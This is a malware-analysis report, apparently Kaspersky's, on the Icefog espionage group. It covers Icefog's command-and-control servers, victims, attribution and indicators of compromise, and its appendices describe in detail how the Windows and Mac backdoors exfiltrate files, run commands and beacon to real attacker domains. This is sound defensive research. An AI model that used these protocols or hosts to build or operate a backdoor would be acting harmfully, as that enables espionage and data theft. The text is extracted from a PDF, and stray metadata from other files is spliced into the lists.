One of the servers we analyzed had an open folder where some of the filenames of the lateral movement tools were still visible, although most were truncated to 0 by the CC upon successful execution on the victim: A description of some of the tools we observed follows: MD5 FILENAME DESCRIPTION d53cec579c7b3b3e0f77cd64e0c58bbf console.exe.jpg Server backend of Icefog-NG 00c3d59a83c3745498b75fd9d1067b4c Dbgview.exe.jpg Sysinternalss Dbgview 9d3d8504cd488acaa731cfdd48fe5851- hush.exe.jpg Known Windows hashes dumping tool quarks-pwdump.exe ffef41bd67de8806ac2d0e10a3cab3c2 .exe.
jpg (Undercurrent server code piece calling program) Loader for type 2 Icefog be043b0d1337f85cfd05f786eaf4f942 .exe.jpg (Communication module code sheet invoking special.
Exe.jpg) Loader for type 2 Icefog 95ee545a6562a81c3e049a48c5b9f8aa freespi.cab.cab Small tool which lists and deletes Winsock providers.
Icefog uses Winsock providers for persistence, so it is used by the attackers during upgrade to a newer version of the malware.
Folder with lateral movement tools on a command-and-control server 23 ATTACK ANALYSIS In addition to these, several other tools were observed but not recovered.
For instance, on one of the victim machines, we observed what appeared to be the use of a Kernel exploit through a Java application for escalation of privileges.
Unfortunately, we do not know if it was a zero-day kernel vulnerability because the file was deleted by the attackers after being used.
24 COMMAND AND CONTROL SERVERS COMMAND AND CONTROL SERVERS During our research, we observed multiple Icefog command and control servers.
Most of them were on shared hosting platforms, however, some of them, which were of greater importance to the attackers, were also using dedicated hosting.
Perhaps one of the most important aspects of the Icefog CCs is the hit and run nature.
The attackers would set up a CC, create a malware sample that uses it, attack the victim, infect it, and communicate with the victim machine before moving on.
The shared hosting would expire in a month or two and the CC disappears.
The nature of the attacks was also very focused - in many cases, the attackers already knew what they were looking for.
The filenames were quickly identified, archived, transferred to the CC and then the victim was abandoned.
Based on the CC names, we were able to identify several Icefog campaigns that were active between 2011-2013.
From the timeline above, it seems the attackers increased the number of campaigns in 2013 compared to previous years, although its possible that malware and artifacts used in earlier years are no longer available.
Hence, the chart probably represents only a fraction of the attackers activity during the past years.
25 COMMAND AND CONTROL SERVERS CC SERVERS INFRASTRUCTURE We identified four types of Icefog CC servers - type 1, 2, 3 and type 4.
Also, there is a fifth, standalone type of CC, used for Icefog-NG, which runs as a Windows desktop application.
The type 1 CC server uses a full web backend that lets the attacker directly control the victims via a web browser.
The type 1 C2 backend is written in ASP.NET.
The type 2 CC server backend we identified acts as a virtual, custom proxy between the attackers and the victims.
It is written in ASP and is extremely simplistic in operation.
This is more effective as it conceals the attackers identity.
The second type of C2 works in conjunction with a control tool, probably running directly on the attackers PC.
The type 3 CC server (used in the starwings and disneyland campaigns) appears to be experimental and features only two basic functions: view and update.
Its exact workings are unknown and we havent been able to locate the Icefog malware that uses it.
The type 4 CC server was identified through sinkholing of the domain pinganw[dot]org.
(
known C2 URL - www.pinganw[dot]org/sugers/upfile.asp).
Just like type 3, the exact workings are unknown and we havent been able to locate the Icefog malware that uses it.
The Icefog-NG CC server is a Windows desktop application which doesnt require a web server and works as a standalone TCP server, which by default listens on port 5600.
Our analysis focuses on type 1 CC servers, which are the most popular and have been used in most of the attacks we observed.
26 COMMAND AND CONTROL SERVERS Heres a look at the type 1 command-and-control server login screen: The command-and-control script (control.aspx) features an interesting comment shiyanlllllllllllllllllllllllllll.
The page title is , which means Dagger Three in Chinese.
27 COMMAND AND CONTROL SERVERS For martial arts fans, the is quite similar to , which is an ancient Chinese weapon.
The Type 1 C2 interface is written in ASP.NET and features an easy to use interface to communicate with and manage the victims: This control panel is actually a Visual Basic.
NET web application with the following structure: The ManageSystem CC user interface (type 1) 28 COMMAND AND CONTROL SERVERS The application uses the native filesystem as the main storage to save stolen data, logs and temporary files.
Below is short description of directories used by the CC application: ok: heartbeat files with dates that indicate the last time a victim was online.
downloads: files that were transferred from the victim at the request of the operator.
uploads: files that should be pushed to the victim systems.
order: files containing instructions or commands that are to be executed on the victims machines.
result: The result of command execution on the victims machines.
info: basic information about the victims systems.
logs: operator interaction logs, can be erased on request by the operator.
files: additional files, including JavaScript, CSS and images used by Control Panel web user interface.
Perhaps the most interesting part is that the type 1 CC panel maintains a full history of the attackers interaction with the victims.
This is kept as an encrypted logfile, in the logs directory on the server.
In addition to that, the server maintains full interaction logs and command execution results from each victim.
29 COMMAND AND CONTROL SERVERS Below we can see an example of the attackers copying a number of files to c:\temp\mslog from an USB flash drive connected to the computer with Korean Windows systems and preparing them for upload to the C2: In another example, we can see them uploading and running a type 2 backdoor on top of the type 1 infection: 30 COMMAND AND CONTROL SERVERS Interestingly, the modern Icefog-NG CC application looks very similar to Icefog Web UI - it uses the same multi-tab layout and even has the same tab titles.
We believe that Icefog-NG was developed by the same author to replace Icefog bot and the web-based Control Panels.
Icefog-NG File Control tab 31 COMMAND AND CONTROL SERVERS Icefog-NG was designed to be more responsive and convenient to the operator.
The data storage is the same - local filesystem, and even the file names are the same as on the previous Icefog version.
Here is a screenshot of the user interface from the Icefog-NG CC application.
Like with the web-based Icefog, this CC application requires authorization of the operator.
While in the web version it made sense to authenticate remote users to restrict access to the Control Panel, the desktop application authentication is easily bypassed, because the login and password are hardcoded in the binary.
Heres a look at the victims panel in the Icefog-NG CC software: Icefog-NG login prompt Icefog-NG UI layout optimized for a screen resolution of 1280x1024 32 COMMAND AND CONTROL SERVERS One curious fact about Icefog-NG is that it is usable only if you have screen resolution set at 1280x1024 or higher.
Even on standard 1024x768, not all controls fit into screen.
The application was created using Microsoft Visual Studio MFC AppWizard.
Although, the sample we analyzed was compiled in May 2013, the project was most likely started in 2012, which is stated in the About Application message box.
This date is put automatically by the AppWizard when the code is generated for the first time.
33 INFECTION DATA AND STATISTICS INFECTION DATA AND STATISTICS The command-and-control servers maintain full logs of the victims together with the various operations performed on them by the CC operators.
These logs are encrypted with a simple XOR operation and available to anyone who knows their location and name on the server.
Heres what a decoded log looks like: These logs can sometimes help to identify the targets of the attacks and in some cases, the victims.
During our research, we observed attacks against a number of targets in South Korea, Taiwan and Japan.
These include defense industry contractors such as Lig Nex1 and Selectron Industrial Company, shipbuilding companies such as DSME Tech, Hanjin Heavy Industries, telecom operators such as Korea Telecom, media companies such as Fuji TV and the Japan-China Economic Association.
Sample CC activity log Some organizations that the attackers were interested in targeting 34 INFECTION DATA AND STATISTICS SINKHOLE INFORMATION During our research, we managed to sinkhole 13 domains used by the attackers: spekosoft.com kechospital.com unikorean.com pasakosoft.net chinauswatch.net msvistastar.com defenseasia.net pinganw.org kevinsw.net avatime.net shinebay.net securimalware.net - used in spear-phishing attacks appst0re.net - MacFogs command-and-control All of them have been redirected to the Kaspersky Sinkhole server at 95.211.172.143.
Overall, during the monitoring period, we observed connections from several victims, based in South Korea, Japan, Taiwan, Germany and some other countries.
35 INFECTION DATA AND STATISTICS For Windows based computers, we have the following statistics: Distribution by number of hits in our sinkhole (percentage) Distribution by number of hits in our sinkhole (absolute values) 36 INFECTION DATA AND STATISTICS .
Distribution by number of IPs in our sinkhole (percentage) Distribution by country by number of IPs in our sinkhole (percentage) 37 INFECTION DATA AND STATISTICS For Macfog, the Mac OS X version of the backdoor, we have the following statistics: Overall, weve observed over 4500 IPs with infected Macfog hosts, belonging to more than 430 unique victims.
Distribution by number of IPs in our sinkhole (percentage) Distribution by number of IPs in our sinkhole (absolute values) 38 INFECTION DATA AND STATISTICS For Windows-based machines, our sinkhole received connections from almost 200 unique IPs, in six countries.
It should be noted that in terms of the overall picture, these sinkholed domains offer a view of only a fraction of the infected computers, especially old infections which for some reason have not yet been disinfected.
The newer attacks are more difficult to track because they use new CC domains that cant be easily sinkholed.
Another important note relates to geographical distribution of victims.
While we see many connections coming from China, this doesnt mean that it has victims of targeted attacks.
Because the Macfog samples that we have seen are being distributed in a trojanized bundle with legitimate software on publicly available Chinese message boards, visitors (especially those who read Chinese) from any country in the world could get infected.
We believe that a primary goal of doing that was to test malware in different environments and evaluate its efficiency.
That explains why the domain used as C2 was abandoned - random victims had less value for the attackers.
Based on the more reliable analysis of the CC servers used in the targeted attacks, spearphishing examples and other data collected during our research, we believe that the primary targets of the Icefog operations were in South Korea and Japan.
39 ATTRIBUTION ATTRIBUTION AT TACKER IPS Based on the list of IPs used to monitor and control the infrastructure, we assume some of the threat actors behind this operation are based in at least three countries: China (the largest number of connections) South Korea Japan More information on attribution is available in our private report for governments.
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Contact intelreportskaspersky.com) MALWARE ARTIFACTS The MSUC.DAT type 2 backdoor has an ASCII string inside with the following content: Yang.
ZC Wang.
GS Zhan.
QP Ma.
J Li.
X Hu.
HXU.
Icefog Type 2 hardcoded names 40 ATTRIBUTION The Icefog Type 2 backdoor loader with MD5 be043b0d1337f85cfd05f786eaf4f942, found on the C2 domain infostaition.com has the following debug path inside: C:\Users\yang.zc\Desktop\ 4\Release\UCCodePieceGo.pdb Note that Yang.zc appears in both strings.
The string 4 translates to Piece of code calling 4 from Chinese.
L ANGUAGE USAGE One of the CC backend control scripts (control.aspx) has the page title , which means Dagger Three in Simplified Chinese.
The ASPX server-side scripts contain a number of messages and code comments in Chinese: Dagger Three - page title 41 ATTRIBUTION One of the lateral movement tools used by the attackers has a Chinese name: windows.txt.jpg - windows version.txt.jpg Unauthenticated CC login attempts to access the command-and-control user interface result in redirects to sohu.com: Note: sohu.com is one of the most popular internet portals in China.
REGISTRATIONS More information is available in our private report for governments.
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Contact intelreportskaspersky.com) mailto:intelreports40kaspersky.com?subject 42 MITIGATION INFORMATION MITIGATION INFORMATION INDICATORS OF COMPROMISE (IOCS) CC DOMAINS AND HOSTNAMES 40yuan.8.100911.com 625tongyi.com 9-joy.net agorajpweb.com appst0re.net - SINKHOLED by Kaspersky Lab bigbombnews.com chinauswatch.net - SINKHOLED by Kaspersky Lab cloudsbit.com cnnpolicy.com dabolloth.com dancewall228.com dashope.net daxituzi.net defenseasia.net - SINKHOLED by Kaspersky Lab disneyland.website.iiswan.com dosaninfracore.com dotaplayers.com electk.net 43 MITIGATION INFORMATION esdlin.com fruitloop.8.100911.com gamestar2.net gangstyleobs.com globalwebnews.net icefog.8.100911.com infostaition.com kakujae.com kansenshu.com kevinsw.net - SINKHOLED by Kaspersky Lab kechospital.com - SINKHOLED by Kaspersky Lab kimjeayun.com koreanmofee.com kreamnnd.com krentertainly.net lexdesign152.net mashuisi.net minihouse.website.iiswan.com msvistastar.com - SINKHOLED by Kaspersky Lab mudain.net namoon-tistory.com newsceekjp.com nk-kotii.com 44 MITIGATION INFORMATION pasakosoft.net - SINKHOLED by Kaspersky Lab pinganw.org - SINKHOLED by Kaspersky Lab ppxxcc.org samyongonc.com securimalware.net - SINKHOLED by Kaspersky Lab sejonng.org sejoung.org setchon.com skynet121.net spekosoft.com - SINKHOLED by Kaspersky Lab starwings.net tokyoyan.net twittle.org unikorean.com - SINKHOLED by Kaspersky Lab war3players.com widestar.net womenewes.com yahoowebnews.com zhpedu.org MALWARE PATHS ON DISK: TEMP\scvhost.exe TEMP\svohost.exe TEMP\msuc.dat 45 MITIGATION INFORMATION TEMP\order.dat TEMP\cmd1.dat TEMP\tmpxor.dat SYSTEMROOT\msld.exe SYSTEMROOT\wdmaud.drv PROGRAM FILES\Internet Explorer\sxs.dll MUTEXES: my_horse_mutex_jd2_new my_horse_mutex_jd2_923 myhorse_macfee horse_for360 myhorsemutexjd3_wm_1226 myhorsemutex myhorse_qianfu001 myhorse_ie001 myhorse_ie_001 USER AGENT STRINGS (HT TP TRAFFIC): MyAgent mydownload E-MAILS ACCOUNTS: Accounts used to send mail by the older 2011 Icefog: 46 MITIGATION INFORMATION harrypottercommand001aol.com jd2command092aol.com jd2clientsendaol.com woshihero009aol.com mrmylcmd009aol.com defaultmail002aol.com IPs 122.10.87.252 113.10.136.228 103.246.245.130 Note: due to shared hosting, blocking IPs for Icefog C2s can cause false positives.
These IPs are known to point to dedicated hosting servers.
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182
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Win32.CVE-2012-0158.u Exploit.
| 37,870
| 37,924
| 55
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data/reports_final/0182.txt
|
Win32.CVE-2012-0158.u Exploit.
WinHLP.Agent.d Trojan-Downloader.
Win32.Agent.ebie Trojan-Downloader.
Win32.Agent.gxmp Trojan-Downloader.
Win32.Agent.gzda Trojan-Downloader.
Win32.Agent.gznn Trojan-Downloader.
Win32.Agent.tenl Trojan-Downloader.
Win32.Agent.vigx Trojan-Downloader.
Win32.Agent.vkcs Trojan-Downloader.
Win32.Agent.wcpy Trojan-Downloader.
Win32.Agent.wqbl Trojan-Downloader.
Win32.Agent.wqdv Trojan-Downloader.
Win32.Agent.wqqz Trojan-Downloader.
Win32.Agent.xrlh Trojan-Downloader.
Win32.Agent.xsub Trojan-Downloader.
Win32.Agent.xyqw Trojan-Downloader.
Win32.Agent.yavh Trojan-Downloader.
Win32.Agent.yium 48 MITIGATION INFORMATION Trojan-Dropper.
Win32.Agent.gvfr Trojan-PSW.Win32.MailStealer.j Trojan-Spy.
Win32.Agent.bwdf Trojan-Spy.
Win32.Agent.bxeo Trojan.PHP.Agent.ax Trojan.
Win32.Genome.ydxx Trojan.
Win32.Icefog.
49 CONCLUSIONS CONCLUSIONS This paper describes Icefog, a small APT group which focuses on targets in South Korea and Japan.
The operation appears to have started in 2011 and increased in size and scope during each year.
Based on the victim profiles, the attackers appear to have an interest in the following sectors: Military Mass media and TV Shipbuilding and maritime operations Computers and software development Research companies Telecom operators Satellite operators Despite their relative lack of complexity, the attackers have successfully compromised targets belonging to these categories, with the largest number of victims being in South Korea.
The Icefog attackers have both Windows and Mac OS X backdoors at their disposal.
The Mac OS X backdoor currently remains largely undetected by security solutions and has managed to infect several hundred victims worldwide.
The hit and run nature of this operation is one of the things that make it unusual.
While in other cases, victims remain infected for months or even years, and data is continuously exfiltrated, the Icefog attackers appear to know very well what they need from the victims.
Once the information is obtained, the victim is abandoned.
During the past years, we observed a large increase in the number of APTs which are hitting pretty much all types of victims and sectors.
In turn, this is coupled with an increased focus on sensitive information and corporate cyber-espionage.
In the future, we predict the number of small, focused APT-to-hire groups to grow, specializing in 50 CONCLUSIONS hit-and-run operations, a kind of cyber mercenaries of the modern world.
Recommendations on how to stay safe from such attacks (for both Windows and Mac OS X users): Update Java to the most recent version or, if you dont use Java, uninstall it.
Update Microsoft Windows and Microsoft Office to the latest versions.
Update all other third party software, such as Adobe Reader.
Be wary of clicking on links and opening attachments from unknown persons.
Windows users can install Microsoft EMET 4.0, a toolkit designed to help prevent hackers from gaining access to your system.
So far, we havent observed the use of zero-day vulnerabilities by the Icefog group to defend against those, although patches dont help, technologies such as AEP (Automatic Exploit Prevention) and DefaultDeny can be quite effective.
http://www.microsoft.com/en-us/download/details.aspx?id39273 AEP (Automatic Exploit Prevention) AEP (Automatic Exploit Prevention) http://eugene.kaspersky.com/2012/10/03/in-denial-about-deny-all/ 51 APPENDIX A APPENDIX A MALWARE MD5S SPEARPHISHING DOCUMENTS MD5 FILENAME KASPERSKY NAME 32e8d4b2f08aff883c8016b7ebd7c85b 1234567890.doc Exploit.
MSWord.
CVE-2012- 0158.u 219738275b9dfbef6be8b65473833e45 .xls Exploit.
MSWord.
CVE-2012- 0158.az 363bcf8bbf8ae7def65adcec0a755d45 n/a Exploit.
MSWord.
CVE-2012- 0158.u 3ce3e49e0e31e69b2aabcb3d7569a63c n/a Exploit.
MSWord.
CVE-2012- 0158.u c5f3d21cb19a4b2d03aa42e4bf43b79b 2345678901.doc Exploit.
MSWord.
CVE-2012- 0158.u b1241cd7a0d7d58d1182badd0adba8ab n/a Exploit.
MSWord.
CVE-2012- 0158.u 7ec89be945add54aa67009dbc12a9260 keikaku-201302.xls Exploit.
OLE2.Multigeneric.
gen eb4579f08cd270e496c70ddcaa29dacb CS130116-2 BARILOCHE( 057) MSB.
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183
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XLS Exploit.
| 37,925
| 38,088
| 164
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data/reports_final/0183.txt
|
XLS Exploit.
OLE2.Multigeneric.
gen 5aaa057d3447a214e729276563d2f922 (130204).
xls Exploit.
MSWord.
CVE-2012- 0158.az DROPPERS MD5 COMPILEDON KASPERSKY NAME C2 8f816f4acc49f5ebba00d92437b42e85 2013-01-15 10:51:17 Trojan- Downloader.
Win32.Agent.xpxr asdfghjk.host2.5y6.
net/jd/upload.aspx (110.45.203.152 - KR) 52 APPENDIX A BACKDOORS MD5 COMPILEDON KASPERSKY NAME C2 f4ced221baf2a482e60baf374ab063be 2012-06-04 15:22:58 Trojan- Downloader.
Win32.Agent.vkcs www.kechospital.
com/jd/upload.
aspx 3a6feab7eb90b87cf5a4e08bce2572e8 2012-06-04 15:22:56 Trojan- Downloader.
Win32.Agent.vkcs www.kechospital.
com/jd/upload.
aspx 853096b7e1e4bdb9221875c30d9a15a0 2012-07-03 22:46:52 Trojan- Downloader.
Win32.Agent.wpuu mail.kechospital.
com/jd/upload.
aspx 2a106c694660891e0950493e3eedc42d 2013-06-19 09:43:17 Trojan- Downloader.
Win32.Agent.yium fruitloop.8.100911.
com/news/upload.
aspx 6d3d95137ef1ba5c6e15a4a95de8a546 2011-08-05 13:44:30 Trojan-Spy.
Win32.
Agent.bxeo www.cloudsbit.
com/jd2web/ upload.aspx 15a342cf2cc4fc5ae933d463f5d2196f 2011-08-05 08:46:17 Trojan-Spy.
Win32.
Agent.bxeo www.cloudsbit.
com/ko/upload.
aspx acc57cc72a8d129703b4914c408a15a1 2011-03-16 10:44:18 Trojan- Downloader.
Win32.Agent.tenl www.cloudsbit.
com/tt/upload.aspx 162b349be9c6d11c58cf163e211d891c 2011-07-22 02:51:45 Trojan- Downloader.
Win32.Agent.swbo www.cloudsbit.
com/jian3/upload.
aspx f7547f23bd2fd37b7d44e8617f629b49 2011-06-15 02:24:07 Trojan- Downloader.
Win32.Agent.gxmp www.cloudsbit.
com/hh/upload.
aspx c352c376968e8a1157fa425431776797 2013-01-16 16:51:32 Trojan- Downloader.
Win32.Agent.wqqz www.9-joy.net/jd/ upload.aspx 31a530fea411455b8844fe019ffb66cd 2013-01-16 16:51:34 Trojan- Downloader.
Win32.Agent.wqqz www.9-joy.net/jd/ upload.aspx 43678aa052ad677841bd2ef532ecd284 2013-06-21 02:43:48 Trojan- Downloader.
Win32.Agent.gznn minihouse.website.
iiswan.com/upload/ upload.aspx fa452f67c6bf8056b563690d61c4a4c6 2013-06-20 22:06:26 Backdoor.
Win32.
Agent.dcjj www.kreamnnd.
com:5600 (27.255.71.204) b21635b1b1fce93ff917d9308d4835fb 2013-01-23 08:30:51 Trojan- Downloader.
Win32.Agent.xsry newsceekjp.com/ jd/upload.aspx 53 APPENDIX A 2d6a82fdb59e38d63027beac28dc2813 2012-04-12 18:07:41 Trojan- Downloader.
Win32.Agent.vkcs www.setchon.com/ jd/upload.aspx beb9da03aff9386599625199a5a47b8d 2013-03-18 02:17:49 Trojan- Downloader.
Win32.Agent.xyqw mudain.net/jd/ upload.aspx 80405f5681f1e4f2de6e8c26ec20c14d 2012-01-17 05:55:18 Trojan- Downloader.
Win32.Agent.vigx pinganw.org/jd/ upload.aspx 2761c55bafa96d5814e847b665006e49 2012-07-17 18:16:19 Trojan- Downloader.
Win32.Agent.wpzp 199.192.154.124/ jd/upload.aspx 566b175ab355e6313ba0ca98b0146d84 2011-09-16 02:30:13 Trojan- Downloader.
Win32.Agent.tlod www.unikorean.
com/jd/upload.
aspx d421e0d74fa7035246c1ea51bd4d3114 2013-05-03 03:04:49 Trojan- Downloader.
Win32.Agent.yavh electk.net/jd/ upload.aspx 24751030c1fa40bd57988d4e6fe70117 2012-08-30 01:02:35 Trojan- Downloader.
Win32.Agent.wqqz www.625tongyi.
com/jd/upload.
aspx 392f5372ba3348ea1820df34c078f6c8 2013-01-08 23:10:42 Trojan- Downloader.
Win32.Agent.xpsf www.dotaplayers.
com/jd/upload.
aspx fba7b9ffd08110e37d2bdf77c0d8b806 2013-02-04 Trojan- Downloader.
Win32.Agent.xrlh 40yuan.8.100911.
com/jd/upload.
aspx 0e2694aea9d3de122611d88e37ffc7f0 2011-06-19 10:27:49 Trojan.
Win32.
Icefog.d www.chinauswatch.
net/test/upload.
asp 78d9ac9954516ac096992cf654caa1fc 2012-07-26 03:10:51 Trojan- Downloader.
Win32.Agent.gzda www.setchon.com/ jd/upload.aspx 387ae1e56fa48ec50a46394cc51acce7 2012-07-26 03:10:48 Trojan- Downloader.
Win32.Agent.xsub www.setchon.com/ jd/upload.aspx cd85a9a05538e89190d519703c9a1327 2012-10-16 19:41:52 Trojan.
Win32.
Icefog.b www.samyongonc.
com/jd/upload.
aspx f46eb126668dfc843a05958e71936b01 2011-09-23 03:35:50 Trojan.
Win32.
Icefog.b www.kevinsw.net/ jd2/upload.aspx 54 APPENDIX B APPENDIX B MALWARE TECHNICAL ANALYSIS ICEFOG T YPE 1 DESCRIPTION MD5 SIZE COMPILEDON BF13CCB777F7175ECD567E757ABCB0E4 79248 2013-06-19 12:43:17 SUMMARY The module is a non-packed Win32 PE DLL file compiled in Microsoft Visual C 8.0.
The module installs at WinDir\wdmaud.drv and is automatically loaded by explorer.exe on startup.
This technique is known as DLL search order hijacking, and abuses the fact that Windows Explorer will load this file from its own directory first, instead of the Windows SYSTEM folder.
It communicates with the CC server at icefog.8.100911.com (211.42.249.39) and passes collected information about victim, lets the operator download or upload files to and from the victim machines, execute system commands on the infected machines as well as execute additional malware components.
DETAILED DESCRIPTION After the DLL is loaded, it creates system mutex named myhorse_macfee.
If such mutex already exists, the module quits to avoid duplicate instances from running.
After that, it loads WinDir\wdmaud.drv (this DRV is loaded by explorer.exe on startup) and calls exported mymainfunc of its own module that creates a new thread responsible for the communication with CC.
The spawned thread collects information about the system such as user names, machine names, IP addresses, running processes, proxy settings, Windows versions, etc.
It produces a report that 55 APPENDIX B is later submitted to the CC server.
An example for such a report is shown below: Hostname: SYSTEM NAME IP: SYSTEM LOCAL IP ADDRESS Proxy: LOCAL PROXY SERVER User: USERNAME SystemDir: C:\WINDOWS\system32 OS Language Version: OS LANGUAGE ID System Version: OS VERSION Process: ID: 4 (?)
ID: 552 (\SystemRoot\System32\smss.exe) ... (List all running processes and their main executable file path) This information is then written to the file at TMP\tmp.dat.
Then, it checks if the TMP\msuc.dat file exists.
If it exists, the module creates a new thread that will load the file contents into memory and pass execution flow to the first byte of the loaded data in memory.
The contents of the tmp.dat is converted to wide char and XORed with key 0hh8979.
Immediately after, it is sent via HTTP/1.1 POST request to icefog.8.100911.com on port 80.
The full query string is the following: /news/upload.aspx?filepathinfofilenameHOSTNAME_HOSTIP.jpg.
Full HTTP headers: Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate 56 APPENDIX B Connection: Keep-Alive Cache-Control: no-cache CONTROL COMMANDS The module attempts to get icefog.8.100911.com/news/order/HOSTNAME_HOSTIP.jpg file with custom user agent mydownload.
The response is saved to file TMP \order.dat The content of order.dat is converted from widechar to multibyte string and is parsed for the following command strings: cmd_ upload_ download_ code_ If any of the commands above is found, the Trojan notifies the CC that the command was received by issuing the following POST request: Query string: /news/upload.
aspx?filepathorderfilenameHOSTNAME_HOSTIP.jpg Full HTTP/1.1 headers: Host: icefog.8.100911.com User agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache 57 APPENDIX B COMMAND CMD_ The cmd command expect a payload string (COMMAND) following the cmd_ prefix, so that the full command syntax looks like this: cmd_COMMAND.
It creates a new process with command line C:\windows\system32\cmd.exe /c COMMAND However, if COMMAND contains output redirection character , the executed command line will be as following: C:\windows\system32\cmd.exe /c command TMP\ cmd1.dat.
After the process has finished its stdout output is sent to the CC via POST request to /news/upload.
aspx?filepathresultfilenameHOSTNAME_HOSTIP.jpg Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache The command-line output is converted to wide-char string and XORed using 0hh8979 string as the key.
COMMAND UPLOAD_ The command string format must be as following: upload_FILEPATH_FILENAME It attempts to fetch icefog.8.100911.com/news/order/FILENAME using user agent mydownload and saves the response to the local path specified in FILEPATH.
58 APPENDIX B After that it notifies the CC by sending HTTP/1.1 POST request Query string: /news/upload.aspx?filepathuploadfilenameFILENAME Full HTTP/1.1 headers: Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache COMMAND DOWNLOAD_ Download command format must be download_LOCALPATH\FILENAME/NAMEONSERVER The LOCALPATH\FILENAME file is opened and its content is prepared for uploading by converting ANSI data to Unicode and XORing using key 0hh8979.
The result is saved to TMP\tmpxor.dat The tmpxor.dat is uploaded via POST request to icefog.8.100911.com at port 80.
Query string: /news/upload.aspx?filepathdownloadfilenameHOSTNAME_ HOSTIP_NAMEONSERVER_FILESIZE.jpg.
Full HTTP/1.1 headers: Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data 59 APPENDIX B Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache COMMAND CODE _ The code command format must be code_FILENAME A new thread is created that loads a local file, specified in FILENAME, to memory and passes the execution to the first byte of the loaded data.
NO COMMAND If no known command is parsed out of the server response, the Trojan notifies the server about being alive by issuing the following HTTP POST request: Query string: /news/upload.
aspx?filepathokfilenameHOSTNAME_HOSTIP.jpg Host: icefog.8.100911.com User-Agent: MyAgent Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, / Accept-Language: en-us Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Connection: Keep-Alive Cache-Control: no-cache.
After that it sleeps for 150 seconds and starts the command-processing loop again.
60 APPENDIX C APPENDIX C THE ICEFOG-NG BOT DESCRIPTION In addition to the web-based Icefog malware samples, we have come across a variant of the Icefog bot which is based on a custom protocol working over a TCP session (port 5600 TCP) with its own desktop application that serves as a command-and-control center.
For reference, we called it Icefog-NG (New Generation).
We believe that the new generation of Icefog was created to improve bot response and to increase the efficiency of operations.
The previous web-based version of the bot had significant time lag during operation (up to 40 seconds), the new generation bot was created to solve the time lag issue.
MD5 SIZE COMPILEDON FA452F67C6BF8056B563690D61C4A4C6 86016 2013-06-21 01:06:26 SUMMARY The module is a non-packed Win32 PE Executable file compiled in Microsoft Visual C 2005.
It is a backdoor that is capable of collecting system information, download and upload files, execute commands.
DETAILED DESCRIPTION To enable automatic start during system boot, the malware adds and uses the following system registry value: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadTMP\msloger.exe During start it checks if a file named TMP\AA.tmp exists.
If yes, it copies the file to TMP\ hwp.hwp.
Next it kills processes named hwp.exe and then opens hwp.hwp.
This is important step during first malware run which opens a decoy .hwp document.
This shows that the malware was designed to be installed from .hwp documents containing exploits.
61 APPENDIX C Then it copies TMP\Ab.tmp to TMP\msloger.exe.
After that the malware registers on the CC.
To do that, the malware connects to www.kreamnnd.
com on port 5600 and sends a registration message [Total message size: DWORD]SX[HOSTID length:WORD][HOSTID][Host Info Data Size: DWORD][Host Info Data] HOSTID is a string having system hostname and system IP joined by _: Hostname_IP.
The data is encrypted using XOR with key 9?i0h.
If the connection with CC is lost the bot can re-establish the session by sending [Total message size: DWORD]XT[Hostname length:WORD][HOSTNAME]_[IPADDR] CONTROL COMMANDS After connecting to the CC and sending the registration message the bot expects commands from the server.
These commands are described below.
COMMAND CMD This command is used to execute a command line.
The message has the following format: [Total Message Size: DWORD]SC[COMMAND] The bot checks if the COMMAND contains sleep then it sleeps for the specified time after sleep substring.
Otherwise, a new cmd.exe processes is spawned to execute the COMMAND.
If the command does not contain the output will be directed to TMP\cmd1.dat and the result will be sent to the CC automatically using the following format: [Total Message Size: DWORD][cmd1.dat data] The TMP\cmd1.dat is deleted after the file is sent to the CC.
62 APPENDIX C COMMAND DOWNLOAD This command is used to download a file from the victim machine.
The message has the following format: [Total Message Size: DWORD]DL[FILEPATH] The server expects the bot to send a response message with the file size from victim bot [Total Message Size: DWORD]OK[File Size: DWORD] Then the server sends an acknowledgement message to the victim bot [Total Message Size: DWORD]OK The bot encrypts the contents of the file and saves it to TMP\mstmpdata.dat.
After that part it sends mstmpdata.dat file split in chunks of 0x4ffc each (the last one may be shorter than 0x4ffc).
Here is the format of that message: [Total Message Size: DWORD][File data no longer than 0x4ffc] The last message is repeated containing the next chunk of the file until end of file is reached.
COMMAND UPLOAD This command is used to upload a file from the CC to the bot.
The format of this command is the following: [Total Message Size: DWORD]UP[File Size: DWORD][Data Chunk SizeTotal Message Size field length, a hardcoded value of 0x5000: DWORD][File Name] The server expect an OK message from the bot [Total Message Size: DWORD]OK Then CC sends the first part of the file.
[
Total Message Size: DWORD][File data no longer than 0x4ffc] The server expects the OK message from the bot and transfers the next data chunk until the whole file is uploaded 63 APPENDIX C COMMAND SLEEP This command is used to suspend the CC connection thread for 1 second.
[
Total Message Size: DWORD]SL 64 APPENDIX D APPENDIX D THE MACFOG BOT DESCRIPTION The MacOS X malware uses the type 1 protocol, just as the Windows version of Icefog.
It has been distributed on various Internet message boards and forums as an application called Img2icns.
There are two known malicious bundles, one contains the launcher and the backdoor modules, and another contains the dropper and the backdoor modules.
Once the user executes the malicious application bundle, the backdoor is copied to the users directory and the legitimate application is started as if there was no added malicious code.
